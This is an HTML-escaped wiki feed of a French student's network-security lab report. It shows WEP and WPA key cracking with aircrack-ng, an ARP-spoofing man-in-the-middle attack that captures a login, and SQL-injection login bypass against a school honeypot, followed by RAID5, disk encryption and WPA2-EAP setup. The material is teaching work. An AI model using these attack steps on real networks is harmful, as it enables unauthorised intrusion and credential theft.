    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne l'espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je la vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;br /&gt;
&lt;br /&gt;
== Supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades. &lt;br /&gt;
&lt;br /&gt;
Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.&lt;br /&gt;
&lt;br /&gt;
Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi réalisé d'autres travaux comme l'utilisateur username.&lt;br /&gt;
&lt;br /&gt;
Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54765</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54765"/>
				<updated>2020-12-16T07:27:43Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Supplémentaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
